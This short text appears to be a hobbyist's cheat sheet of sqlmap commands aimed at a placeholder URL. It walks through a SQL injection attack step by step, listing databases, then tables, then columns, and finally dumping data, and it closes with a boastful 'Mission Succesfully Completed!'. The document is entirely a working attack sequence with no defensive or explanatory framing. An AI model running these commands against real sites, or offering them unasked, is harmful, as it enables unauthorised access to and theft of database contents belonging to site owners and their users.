cd desktop
cd sqlmap
sqlmap.py -u http://www.example.com/show.php?id=1 --dbs
sqlmap.py -u http://www.example.com/show.php?id=1 -D dbname --tables
sqlmap.py -u http://www.example.com/show.php?id=1 -D dbname -T tablename --columns
sqlmap.py -u http://www.example.com/show.php?id=1 -D dbname -T tablename -C columnsname --dump
Mission Succesfully Completed! :)